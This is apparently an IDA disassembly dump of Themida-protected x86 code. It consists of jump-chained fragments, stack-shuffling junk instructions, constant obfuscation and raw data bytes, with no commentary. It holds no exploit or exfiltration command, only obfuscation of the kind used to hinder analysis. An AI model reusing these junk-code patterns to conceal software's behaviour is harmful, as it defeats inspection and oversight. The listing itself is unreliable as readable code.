4, 4BE56h, 0F1290000h dd 240C875Eh, 5756E95Ch, 665B0000h, 2454F653h, 805B6601h dd 885201C7h, 88D6F6FEh, 4DA7E9F7h, 248B0000h, 2434FF24h dd 57240C8Bh, 0C781E789h, 4, 4C781h, 3C870000h, 0DD3DE924h dd 3C870000h, 0C82CE924h, 14890000h, 4F89BA24h, 0CBE90D95h dd 89FFFFE0h, 89562414h, 4C681E6h, 52000000h, 0AF5DB1BAh dd 4E2C17Eh, 0E788E94Ah, 49BE0000h, 8116EB7Dh, 1482BBC6h dd 5EF789E9h, 555FFB01h, 4BDh, 0E9EB0100h, 0FFFFA470h ; --------------------------------------------------------------------------- loc_55399C: ; CODE XREF: Themida_:00556634j push ecx mov ecx, eax jmp loc_550BEE ; --------------------------------------------------------------------------- dd 0FFA41CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5539A9: ; CODE XREF: Themida_:0055DF0Bj xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_55D02B ; --------------------------------------------------------------------------- aI_1 db '-ݨÙ',0 dd offset dword_450050+2399h align 4 dd 4BDh, 5DE80100h, 5C240487h, 0FFA3F0E9h, 0F1895FFFh dd 5E2434FFh, 2104C483h db 0CAh, 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push 47E886Fh jmp loc_5601F2 ; --------------------------------------------------------------------------- dw 0EB81h dd 276E4DA8h, 4973F381h, 0D3F700E6h, 6265E9h, 8BEB2900h db 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_562802 ; --------------------------------------------------------------------------- dd 4EC815Eh, 89000000h, 0F6E92414h, 81FFFFC8h, 4ECh, 24148900h dd 0F680BBB6h, 7EEC0A5h, 0F648E680h, 80D6F6DEh, 0F10050C6h dd 24048B5Ah, 0FFB91DE9h db 0FFh ; --------------------------------------------------------------------------- loc_553A5D: ; CODE XREF: Themida_:0055B50Bj mov edx, 5C20726Ch push 4444h mov [esp], edi push esi jmp loc_5505BD ; --------------------------------------------------------------------------- dd 9C2424D2h, 0FFA34CE9h db 0FFh ; --------------------------------------------------------------------------- loc_553A79: ; CODE XREF: Themida_:005610D9j sub esp, 4 mov [esp], edi push esi mov esi, 8DA1069h mov edi, esi pop esi xor [esp+4], edi push dword ptr [esp] jmp loc_553C57 ; --------------------------------------------------------------------------- db 8Bh dd 26E92424h db 0A3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553A9F: ; CODE XREF: Themida_:00553B7Ej add esp, 4 pop dword ptr [esp] mov esp, [esp] push ebp mov ebp, 6CEE6438h push edi mov edi, 29493E1Bh push edx mov edx, 5DB76B16h jmp loc_55CB1B ; --------------------------------------------------------------------------- db 1 dd 0C13CE9D8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553AC6: ; CODE XREF: Themida_:00552DFEj add esi, 4 xchg esi, [esp] jmp loc_5524F7 ; --------------------------------------------------------------------------- loc_553AD4: ; CODE XREF: Themida_:0055D338j mov esp, [esp] mov ax, [esp] push ecx push esp mov ecx, [esp] jmp loc_552696 ; --------------------------------------------------------------------------- loc_553AE5: ; CODE XREF: Themida_:005611EBj push ebx mov ebx, edi push ebx sub dword ptr [esp], 0DAD6649h pop ecx add ecx, 0DAD6649h pop ebx mov edi, [esp] jmp loc_55FB64 ; --------------------------------------------------------------------------- loc_553B00: ; CODE XREF: Themida_:0055960Aj mov edx, 708721C3h add ebx, edx jmp loc_559469 ; --------------------------------------------------------------------------- aZqh9z db ')ÐZQh9z',0 dd 243C8900h, 4F536768h, 1674E965h, 0B1510000h, 2DC1809Ch dd 0E905E9C0h, 0FFFFD673h ; --------------------------------------------------------------------------- loc_553B30: ; CODE XREF: Themida_:00561110j sub ebp, 57FF71FFh and eax, ebp jmp loc_55D0C6 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 81242489h, 42404h, 48F0000h, 0C3B6824h, 1C890000h, 4BB24h dd 5C010000h, 0E95B0424h, 0C098h ; --------------------------------------------------------------------------- loc_553B64: ; CODE XREF: Themida_:0055547Aj mov edx, [esp] add esp, 4 push edi mov edi, 4 add edx, edi pop edi add edx, 4 push edx push dword ptr [esp+4] mov edx, [esp] jmp loc_553A9F ; --------------------------------------------------------------------------- db 81h dd 321172C2h, 21B95136h, 3190B04Bh, 0A463E9CAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_553B96: ; CODE XREF: Themida_:00560C59j pop ebx or eax, eax jz loc_55426F push ebx mov ebx, 1Ch push edx push 540C2683h pop edx not edx sub esp, 4 mov [esp], edi mov edi, 2D6B4761h sub edi, 770016C5h push edx mov edx, 668C008Ah xor edi, edx pop edx neg edi xor edi, 266CEFDBh jmp loc_55D6E6 ; --------------------------------------------------------------------------- dd 5604C483h, 661592BEh, 11C6814Ch, 0F728393Bh, 81D6F7DEh dd 0B9D188EEh, 5EF1291Eh, 687FC181h, 0CE89226Bh, 83240C8Bh dd 0F70104C4h, 8324348Bh, 0EC8104C4h, 4, 56242C89h, 2BEh dd 394CE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553C1E: ; CODE XREF: Themida_:0055874Dj sub eax, edx mov edx, [esp] add esp, 4 push 758Dh mov [esp], ebp push 43A3h mov [esp], eax push 68413384h pop eax push ebp mov ebp, 33281AF4h and eax, ebp pop ebp jmp loc_54F123 ; --------------------------------------------------------------------------- loc_553C4D: ; CODE XREF: Themida_:00552E9Bj mov ecx, 0FC07DB5h jmp loc_554612 ; --------------------------------------------------------------------------- loc_553C57: ; CODE XREF: Themida_:00553A92j mov edi, [esp] add esp, 4 add esp, 4 mov ecx, [esp] add esp, 4 push eax mov eax, 54876FC9h push eax not dword ptr [esp] pop eax push 1198h jmp loc_55E960 ; --------------------------------------------------------------------------- db 0C1h, 0E9h, 3 dd 860FF181h, 0CA897F55h, 5AD52159h, 8107E5C1h, 0EFCC00C5h dd 6E6856B6h, 0E900006Eh, 0EBDEh, 722DC581h, 815A37D1h dd 87E26EDh, 0C6815841h, 79473F6Eh, 0EE81EE01h, 79473F6Eh dd 2B92E9h, 0FCBE5600h, 0F700F349h, 17ADE9D6h, 68580000h dd 4589h, 15BEE9h db 0 ; --------------------------------------------------------------------------- loc_553CDD: ; CODE XREF: Themida_:005513A9j pop eax jmp loc_55EE67 ; --------------------------------------------------------------------------- db 81h dd 0FF35ABEDh, 0E9FD2959h, 9DD6h, 88D98851h, 2434FFCCh dd 4C48359h, 81241C8Bh, 4C4h, 0E7885300h, 65DBE9h, 39E95C00h dd 5C000069h, 64E5C281h, 0C28123A3h, 13FE3348h, 0EA81C201h dd 13FE3348h, 64E5EA81h, 53E923A3h, 890000A3h, 0C6815BDEh dd 2C2209A8h, 5F5E5756h, 0BC3CE9h db 0 ; --------------------------------------------------------------------------- loc_553D45: ; CODE XREF: Themida_:00551164j pop ecx jmp loc_550AF8 ; --------------------------------------------------------------------------- db 33h dd 835C243Ch, 6CE904ECh, 5700009Eh, 5F5E9h, 3101B800h dd 0E02D4F07h, 0D2FF72Ah, 773760A3h, 0D08E0C1h, 1F9119B9h dd 0FF494425h, 13F4352Dh, 0DCE907E9h db 41h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553D83: ; CODE XREF: Themida_:0055250Ej add edx, 4 xchg edx, [esp] pop esp pop dword ptr [esp] jmp loc_552685 ; --------------------------------------------------------------------------- dw 48Fh dd 0B02CE924h, 0CB00FFFFh, 8005C380h, 0C8BC8C3h, 0C7E924h dd 4870000h, 89565C24h, 4C681E6h, 81000000h, 4EEh, 74FF5600h dd 0E95E0424h, 0FFFFF2E0h ; --------------------------------------------------------------------------- loc_553DC8: ; CODE XREF: Themida_:0055A4D6j shr eax, 10h xor eax, ecx push 45DAh mov [esp], eax mov eax, esp jmp loc_556873 ; --------------------------------------------------------------------------- loc_553DDC: ; CODE XREF: Themida_:00560694j pop eax retn ; --------------------------------------------------------------------------- dw 0E2E9h dd 81FFFF9Fh, 960A16C2h, 0CE7CE90Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_553DEE: ; CODE XREF: Themida_:00552199j mov eax, 66086CB6h mov esi, eax pop eax sub eax, esi jmp loc_55C773 ; --------------------------------------------------------------------------- db 31h, 0F2h, 0E9h dd 85A2h, 0CBFEC3FEh, 0FFE451E9h db 0FFh ; --------------------------------------------------------------------------- loc_553E0D: ; CODE XREF: Themida_:00555F5Aj mov eax, 1B7D24C5h push eax jmp loc_55F9D2 ; --------------------------------------------------------------------------- dd 5C242C87h, 26857h, 0ABE90000h db 0CDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553E27: ; CODE XREF: Themida_:0055E9F0j push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 push 3B24h mov [esp], edx mov edx, esp jmp loc_55DF7D ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 8704EE83h, 895C2434h, 2FB82404h, 0E94C3561h, 0DDA4h dd 0E907E8C1h, 0D133h, 0FFE4C681h, 0F501FFF5h, 0FFABE8E9h dd 0E08950FFh, 405h, 4B95100h, 1000000h, 48759C8h, 71B55C24h dd 0ECE9DD00h, 890000ACh, 0EFC15DEFh, 1EF78102h, 0C1505527h dd 814706EFh, 81EFA7C7h, 0C412E927h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553EAA: ; CODE XREF: Themida_:005608D7j push edx jmp loc_55D939 ; --------------------------------------------------------------------------- dd 53243C8Bh, 0C381E389h, 4, 8704C383h, 0D1E9241Ch, 0B80000B8h dd 2E080196h, 9D49DB0Dh, 507D2502h, 0C6E901CFh, 0BE00001Dh dd 2, 817FE9h db 0 ; --------------------------------------------------------------------------- loc_553EE5: ; CODE XREF: Themida_:0055438Aj push ecx jmp loc_55C8B7 ; --------------------------------------------------------------------------- dd offset dword_450050+2F18h align 10h dd 0FFE39EE9h, 50C580FFh, 0A2F580h, 665B59ECh, 86E38853h dd 86D5F6EBh, 66DC88EBh, 83241C8Bh, 0C48002C4h, 7CE980DFh dd 0C7E9E128h, 89000028h, 9BBB241Ch, 0C164B231h, 0BA5206EBh dd 2DF33C2Dh, 0A0CCE9h, 0E6E95100h, 500000E8h, 9639F5B8h dd 0A992E970h, 0E9510000h, 0FFFFE9D5h, 305AF030h, 2434FFC7h dd 8324048Bh, 0C48304C4h, 0B1516604h, 66C80097h, 2CF80059h dd 2434FF97h, 0A391E95Bh, 6866FFFFh, 896657D6h, 3486241Ch dd 0E9D6F624h, 98ACh, 0E9D6F796h, 0DD3Dh, 0F839E946h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553F92: ; CODE XREF: Themida_:005608B2j push eax pop ebx pop eax shr ebx, 2 jmp loc_55F1DD ; --------------------------------------------------------------------------- loc_553F9D: ; CODE XREF: Themida_:00554836j add ebx, 4 xchg ebx, [esp] pop esp add esp, 4 and eax, ebx pop ebx jmp loc_55AAF3 ; --------------------------------------------------------------------------- loc_553FB5: ; CODE XREF: Themida_:0054F161j mov esi, [esp] jmp loc_54E327 ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 83000000h, 41E904C7h, 100007Ch, 94C181D1h, 5A706D2Eh dd 0E9240C87h, 0B9BDh, 323A06BDh, 5DE80144h, 695A9F2Dh dd 9FBCE948h, 0EB810000h, 7D7066CBh, 5CF468h, 24348900h dd 71A76853h, 0F75B4EECh, 5DD2E9DBh, 0C4830000h, 9DB3E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554012: ; CODE XREF: Themida_:005611ABj or edx, 5C14645Dh or edx, 10735EA6h push ecx jmp loc_554C2E ; --------------------------------------------------------------------------- aAbbsb db '»ìaBéBÝ',0 align 2 dw 489h dd 5585424h, 4, 42Dh, 0C962E900h, 6C810000h, 43760424h dd 48B1F73h, 152BE924h, 55C0000h, 549B42A0h, 9C36E9h db 0 ; --------------------------------------------------------------------------- loc_55405D: ; CODE XREF: Themida_:0054DE68j pop ebx shr ecx, 2 add ecx, 1 push edx mov edx, 530C5FD3h jmp loc_56112D ; --------------------------------------------------------------------------- db 0C0h dd 0C1FE08E9h, 516FE9h db 0 ; --------------------------------------------------------------------------- loc_554079: ; CODE XREF: Themida_:0055EB52j mov [esp], ebp mov ebp, 263C2F7Eh mov esi, ebp pop ebp push edx mov edx, 0D9C3D482h add esi, edx pop edx jmp loc_558064 ; --------------------------------------------------------------------------- loc_554092: ; CODE XREF: Themida_:0054DEB3j mov [esp], ebx mov ebx, 471A13DEh shr ebx, 1 shr ebx, 3 xor ebx, 48B08D25h xor edi, ebx pop ebx push ebp push 0E31DC47Eh pop ebp xor edi, ebp pop ebp xor ebp, edi pop edi inc ebp push ebx mov ebx, 7ECB15EBh add ebx, 6A303422h and ebx, 416E032Fh xor ebx, 39CB784Eh shl ebx, 4 add ebx, 8730D6BDh xor ebp, ebx pop ebx sub ebp, 436CDFCBh and eax, ebp jmp loc_55C78E ; --------------------------------------------------------------------------- loc_5540E7: ; CODE XREF: Themida_:0055247Dj mov edi, 107E268Dh not edi xor edi, 56BD37DEh or edi, 7FA53042h xor edi, 0FFBDFEEAh add ecx, edi pop edi xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_54F527 ; --------------------------------------------------------------------------- db 21h, 4Fh, 1Ch dd 53240C8Bh, 241C8B54h, 4C481h, 0C3810000h, 4, 3304C383h dd 0BBE9241Ch db 0C7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554133: ; CODE XREF: Themida_:0054E6E1j add esi, ebx pop ebx add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_550E12 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF9C79h, 0BE9E589h, 0E9000063h, 0FFFF9C6Dh, 8859CB00h dd 241C8BD9h, 804C483h, 0C8B66CBh, 2C48324h, 0C380CBFEh dd 0FFD80082h, 835B2434h, 0EE0404C4h, 0FF9E24E9h, 5E95BFFh db 0CEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_554187: ; CODE XREF: Themida_:00560786j mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] push 38A5h jmp loc_54F26A ; --------------------------------------------------------------------------- db 5Ch dd 2246C8Ah, 2244488h, 0C1685866h, 89000060h, 0EA882414h dd 0D3F6DA86h, 0D588DA86h, 0EE88525Ah, 4246C8Ah, 4247488h dd 5A2434FFh, 81E18951h, 4C1h, 1C16E900h, 895D0000h, 0C7015AD0h dd 582434FFh, 8304C483h, 3C8904ECh, 2474FF24h, 243C8B04h dd 8F04C483h, 248B2404h, 24040824h, 9BBFE99Ch, 0E3C1FFFFh dd 0C406E908h, 5B660000h, 5A66F030h, 0FF9DBEE9h db 0FFh ; --------------------------------------------------------------------------- loc_554219: ; CODE XREF: Themida_:0054DDE4j xor edx, 3F527202h xor edx, ecx pop ecx jmp loc_55ECF6 ; --------------------------------------------------------------------------- db 8Fh dd 248B2404h, 24248924h, 4240483h, 4C6815Eh, 51000000h dd 501CBE56h, 0E6813F87h, 7A2B161Dh, 7869E9h, 0C8B6600h dd 1A126824h, 20E90000h db 0B1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55425B: ; CODE XREF: Themida_:0055437Dj sub esp, 4 mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] loc_55426F: ; CODE XREF: Themida_:00553B99j push 7622h mov [esp], ebx push edi push 4761h mov [esp], edx jmp loc_55A5A0 ; --------------------------------------------------------------------------- db 81h, 0C7h, 0E4h dd 0F738A44Fh, 5F5157D7h, 87D1F759h, 0D8BB53CFh, 31B49997h dd 0F8015BDFh, 77D8E9h, 1BB00h, 0F2E90000h, 81000061h dd 4EAh, 24148700h, 0DB71E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5542BE: ; CODE XREF: Themida_:005515FAj or eax, eax jz loc_558D5B push 4020h mov [esp], edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov edx, [esp] add esp, 4 jmp loc_560952 ; --------------------------------------------------------------------------- aXs3 db 'Xé3µ',0 align 4 aLSO db '‹$$éÒo',0 align 4 dd 4C4835Bh, 7C9EE9h db 0 ; --------------------------------------------------------------------------- loc_5542FD: ; CODE XREF: Themida_:005577DAj sub edi, 435D6763h and eax, edi push dword ptr [esp] jmp loc_55838C ; --------------------------------------------------------------------------- loc_55430D: ; CODE XREF: Themida_:005517C6j add ebx, 4 add ebx, 4 jmp loc_551C62 ; --------------------------------------------------------------------------- loc_55431B: ; CODE XREF: Themida_:0055CF50j push 0A35h mov [esp], eax push 76263ADBh pop eax sub eax, 537585DAh add ebx, eax jmp loc_561808 ; --------------------------------------------------------------------------- db 5Ah, 81h, 0ECh dd 4, 0FF240489h, 0FF042474h, 0E9582434h, 0FFFFF2C8h, 215E95Eh dd 9ABF0000h, 81769F51h, 0F8E998EFh, 0E9FE2957h, 6C76h dd 327368h, 0BDD6E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55436E: ; CODE XREF: Themida_:00561AB3j add esp, 4 push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_55425B ; --------------------------------------------------------------------------- loc_554382: ; CODE XREF: Themida_:00561234j pop ecx jmp loc_551C3E ; --------------------------------------------------------------------------- loc_554388: ; CODE XREF: Themida_:00559782j mov ebx, esp jmp loc_553EE5 ; --------------------------------------------------------------------------- aIXsN db 'ˆÅXé×n',0 dw 500h dd 6C6879FDh, 0E956D029h, 0D4B6h ; --------------------------------------------------------------------------- loc_5543A4: ; CODE XREF: Themida_:00552D5Bj add ecx, 13FBF520h mov eax, ecx pop ecx add eax, 5CF44210h sub esp, 4 mov [esp], edx jmp loc_55806C ; --------------------------------------------------------------------------- db 81h, 4, 24h dd 4, 5624048Fh, 4BEh, 24740100h, 24348B04h, 0E904C483h dd 0ABE8h, 5AD70158h, 7798E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5543E6: ; CODE XREF: Themida_:0055C216j xchg esi, [esp] mov esp, [esp] sub esp, 4 mov [esp], edi mov edi, 49AB487Ah shl edi, 3 shr edi, 4 push 585Fh mov [esp], eax jmp loc_55AA74 ; --------------------------------------------------------------------------- db 0BBh, 10h, 1Bh dd 0DF01A2E4h, 5FF9895Bh, 0E959CA01h, 234Dh, 0D6F6D3B6h dd 6673F680h, 0D2FBE952h, 0E6890000h, 4C681h, 0C6830000h dd 24348704h, 0AB6AE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554442: ; CODE XREF: Themida_:00550917j mov edi, [esp] add esp, 4 jmp loc_55E809 ; --------------------------------------------------------------------------- dd 4B951h, 0C8010000h, 5EF46859h, 3C890000h, 278DBF24h dd 8CE92F1Ah db 81h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55446B: ; CODE XREF: Themida_:0055C855j pop esp movzx eax, al lea eax, [edi+eax*4] push 7265h mov [esp], eax jmp loc_54DDC5 ; --------------------------------------------------------------------------- db 0FFh dd 2C8B2434h, 4C48324h, 81E68956h, 4C6h, 4C68100h, 0E9000000h dd 0FFFFE70Ch, 48BC101h, 10EBE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5544A6: ; CODE XREF: Themida_:0055E45Bj mov ebp, esi jmp loc_550989 ; --------------------------------------------------------------------------- db 1, 0D0h, 0E9h dd 5691h ; --------------------------------------------------------------------------- loc_5544B4: ; CODE XREF: Themida_:0054E10Fj xor al, cl push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 push 7273h jmp loc_54F50B ; --------------------------------------------------------------------------- dd 8702E9C1h, 87D7F7F9h, 0F2C981F9h, 81542C35h, 0F3BF1DE9h dd 8BCF8902h, 0C481240Ch, 4, 4D38E9h, 0B60F6600h, 1EE957CCh dd 89FFFFCCh, 4C181E1h, 83000000h, 0C8704C1h, 0F6585C24h dd 4EC83DDh, 6DF4E9h, 4C48300h, 0C7FED7F6h, 6866h, 0FFA85DE9h dd 27E95DFFh, 40000D2h, 6FDAE954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554536: ; CODE XREF: Themida_:0055CC60j xor [esp+4], esi pop esi pop esi push edi jmp loc_551895 ; --------------------------------------------------------------------------- dw 0EB29h dd 434EC381h, 9E96952h db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55454F: ; CODE XREF: Themida_:0055CC1Aj push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] push 5363h mov [esp], esi jmp loc_55E35D ; --------------------------------------------------------------------------- db 1 dd 242C8BEFh, 4C481h, 0B9510000h, 4, 52E9CF01h db 27h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55457F: ; CODE XREF: Themida_:0055AB98j neg ch inc ch or ch, 0A4h add ch, 42h and ch, 0D9h jmp loc_550C81 ; --------------------------------------------------------------------------- aSco db '\éæŽ',0 dw 5900h dd 4C481h, 0BBE90000h db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_5545A3: ; CODE XREF: Themida_:0055EAB3j sub esp, 4 jmp loc_554EB3 ; --------------------------------------------------------------------------- dw 0FF50h dd 0E9042474h, 3DECh ; --------------------------------------------------------------------------- loc_5545B8: ; CODE XREF: Themida_:00551B67j add esp, 4 push ebx push 5F17h mov [esp], edx sub esp, 4 mov [esp], ebp mov ebp, 500D5D25h mov edx, ebp pop ebp jmp loc_5613CA ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 2F53E9h db 0 ; --------------------------------------------------------------------------- loc_5545E5: ; CODE XREF: Themida_:005618CDj and ecx, edx pop edx shr ecx, 7 push ebx push ebp mov ebp, 2C516649h xor [esp+4], ebp pop ebp mov eax, [esp] add esp, 4 push ecx jmp loc_554E56 ; --------------------------------------------------------------------------- db 5Eh dd 9EB8505Dh, 1DC7CEBh, 0CBCFE9C6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554612: ; CODE XREF: Themida_:00553C52j or ecx, 61612AF4h xor ecx, 3A667403h dec ecx not ecx add ecx, 4B93C88Ch xor ebx, ecx pop ecx sub ebx, 59D35067h add esi, ebx push dword ptr [esp] jmp loc_5527B6 ; --------------------------------------------------------------------------- loc_55463A: ; CODE XREF: Themida_:005576C6j add ecx, 0FFFFFFFFh xor ecx, 99C0D142h add ebp, ecx pop ecx xchg ebp, [esp] pop esp push ecx push ebx push ecx jmp loc_559377 ; --------------------------------------------------------------------------- db 0BFh, 0A3h, 5Dh dd 0B0E965A5h db 16h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55465F: ; CODE XREF: Themida_:0054F776j pop eax jmp loc_55AD51 ; --------------------------------------------------------------------------- loc_554665: ; CODE XREF: Themida_:00557C98j pop esp test ecx, eax pushf jmp loc_54DDC5 ; --------------------------------------------------------------------------- loc_55466E: ; CODE XREF: Themida_:0055DC0Dj pop esp mov [esp], ecx push eax mov eax, 4F675914h not eax jmp loc_55A924 ; --------------------------------------------------------------------------- db 68h dd 78F3h, 57240C89h, 592434FFh, 0E904C483h, 24BDh, 8104E1C1h dd 634024C1h, 8BCF0180h, 0C483240Ch, 74FF5704h, 0E95F0424h dd 567h, 875FF801h, 535C2404h, 8904EC83h, 0E9522404h, 4DF6h ; --------------------------------------------------------------------------- loc_5546C4: ; CODE XREF: Themida_:00559D61j add dword ptr [esp+4], 1527268Eh add dword ptr [esp+4], 70BA4339h mov edi, [esp] push edi mov edi, esp jmp loc_5536E4 ; --------------------------------------------------------------------------- db 1 dd 56505EF5h, 2BEh, 0F2895200h, 8B5AD089h, 89562434h, 4C681E6h dd 81000000h, 4C6h, 24348700h, 97ED815Ch, 5242D632h, 9B2F2DBAh dd 0E9D2F76Ah, 0FFFFE060h, 8704C483h, 248B243Ch, 24348924h dd 0FFD544E9h, 0C1E94FFFh, 0B000001Fh, 5E8C085h, 0B0505366h dd 34FF2CF6h, 8BC38864h, 54572404h, 1E59E9h db 0 ; --------------------------------------------------------------------------- loc_554749: ; CODE XREF: Themida_:0055A244j push edx mov dh, 48h dec dh not dh jmp loc_556592 ; --------------------------------------------------------------------------- db 89h, 0D6h, 8Bh dd 0C4832414h, 5EF20104h, 5C241487h, 9C240400h, 0FF9658E9h dd 0E7C166FFh, 0CF816602h, 81662DBAh, 661A77C7h, 0A20AE952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554782: ; CODE XREF: Themida_:0055E7AAj not edi sub edi, 6CB36C7Fh jmp loc_5537E1 ; --------------------------------------------------------------------------- db 0FFh dd 0FF042474h, 34FF2434h, 0C4835924h, 5957E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5547A2: ; CODE XREF: Themida_:005557B0j mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebp mov ebp, 4E5D061Ah not ebp jmp loc_55A282 ; --------------------------------------------------------------------------- db 0B9h dd 1, 0FF9E87E9h, 0F7E1D1FFh, 0D09AE9D9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5547D6: ; CODE XREF: Themida_:0055AADAj xor ah, 7Eh or ch, ah pop eax sub ch, 7 add bl, ch pop ecx movzx eax, al jmp loc_552382 ; --------------------------------------------------------------------------- dw 483h dd 34FF0424h, 3EE95924h, 89FFFFF7h, 49E9243Ch, 81FFFFADh dd 0D3571FE7h, 0BDC78168h, 8137D92Fh, 4E33FDEFh, 5FFA0929h dd 260CBF57h, 9DE9720Ch, 0BBFFFFC8h, 2A916B86h, 916B82BAh dd 0E9DA312Ah, 5F86h ; --------------------------------------------------------------------------- loc_554830: ; CODE XREF: Themida_:0055D9C4j add ebx, 4 jmp loc_553F9D ; --------------------------------------------------------------------------- a_s db '_é º',0 dd 5AF32800h, 4EC81h, 0C890000h, 2899B524h, 240C8BEBh dd 1A47E9h, 0BEBA5200h, 815BFC27h, 0D1722DEDh, 0DBEE937h dd 0DAF70000h, 0F1E9D2F7h db 0CAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554873: ; CODE XREF: Themida_:0055172Ej xchg ecx, [esp] pop esp loc_554877: ; CODE XREF: Themida_:00551416j ; Themida_:00556147j push 4631h mov [esp], ebx push dword ptr [esp] mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp sub esp, 4 mov [esp], edi mov edi, esp push ebp push edi push 530A4756h pop edi add edi, 0B53BE859h mov ebp, edi pop edi add ebp, 0FFFFFFFFh or ebp, 409B2374h add ebp, 0B720D006h sub edi, 583F0C82h jmp loc_551D9C ; --------------------------------------------------------------------------- loc_5548CB: ; CODE XREF: Themida_:0055193Cj add edi, 6D4B6196h add edi, ebx jmp loc_54F25F ; --------------------------------------------------------------------------- dd 875BDA01h, 248B2414h, 0E9F76624h, 93C6866h, 24148966h dd 0E99C5066h, 0FFFF94D1h, 0E9F8015Fh, 9297h, 92C68159h dd 29641014h, 7582E9EEh, 0C2810000h, 60C92BDAh, 0D7A8E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554916: ; CODE XREF: Themida_:005502E6j mov [esp], ecx push esp push dword ptr [esp] pop ecx add esp, 4 add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp add ebx, edi push dword ptr [ebx] jmp loc_5619E8 ; --------------------------------------------------------------------------- db 83h dd 3C8704C7h, 55575C24h, 0D90898BDh, 0A6F1E928h, 0D701FFFFh dd 18E6E95Ah, 2C890000h, 46824h, 2C8B0000h, 4C48124h, 81000000h dd 7C5FAFEEh, 4DC68146h, 1431B78h, 4DEE81EEh, 57431B78h dd 7C5FAFBFh, 5FFE0146h, 9C61E9h, 4EC8100h, 89000000h dd 4BA2414h, 29000000h, 0C719E9D7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55499A: ; CODE XREF: Themida_:0055D858j sub esp, 4 mov [esp], eax push edi mov edi, 145F4325h jmp loc_55CA8D ; --------------------------------------------------------------------------- loc_5549AB: ; CODE XREF: Themida_:0055AC8Aj push small 8C1h jmp loc_552F72 ; --------------------------------------------------------------------------- loc_5549B4: ; CODE XREF: Themida_:00556BAAj pop ecx or ebx, ecx jmp loc_561C52 ; --------------------------------------------------------------------------- aQssd db 'Qéád',0 align 2 dw 5B5Dh dd 69852D5Ah, 0E801723Dh, 3D698505h, 4875D72h, 24248B24h dd 53D18851h, 0E9CC8850h, 8550h ; --------------------------------------------------------------------------- loc_5549E4: ; CODE XREF: Themida_:00556EE6j add eax, 4 push 6Ch jmp loc_54DEC7 ; --------------------------------------------------------------------------- db 0BDh, 83h, 1Ch dd 0EA892B29h, 5AD3895Dh, 2414F753h, 0F3814B5Bh, 0D15C9694h dd 1C8BDA89h, 4C48324h, 46BFE281h, 46E9224Fh, 10000D6h dd 0B8BB53FAh, 534EEF28h, 5B2414F7h, 1F86CB81h, 0EB814669h dd 0BFAAB5B7h, 0FFB4FDE9h db 0FFh ; --------------------------------------------------------------------------- loc_554A39: ; CODE XREF: Themida_:00552CBAj sub edi, ebp add edi, 29DF2889h sub edi, 62627BCEh jmp loc_55E095 ; --------------------------------------------------------------------------- dd 5F2434FFh, 81E78957h, 4C7h, 4C78100h, 68000000h, 7625h dd 5A72E9h, 4C48300h, 37BE6656h, 7B58E963h, 0EB810000h dd 5F5D3FF5h, 815BD901h, 4C1h, 0FB53E900h, 0B850FFFFh dd 2BD57309h, 0A0FAE32Dh, 58C101D6h, 0DA59E955h, 4870000h dd 0AAE95C24h db 3Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_554AA7: ; CODE XREF: Themida_:0055FA90j inc ecx push ebp push 0A4CFDCF2h pop ebp add ecx, ebp pop ebp xor eax, ecx mov ecx, [esp] add esp, 4 xor ebx, eax push 4B19h mov [esp], ecx push 0BA5h mov [esp], esp add dword ptr [esp], 4 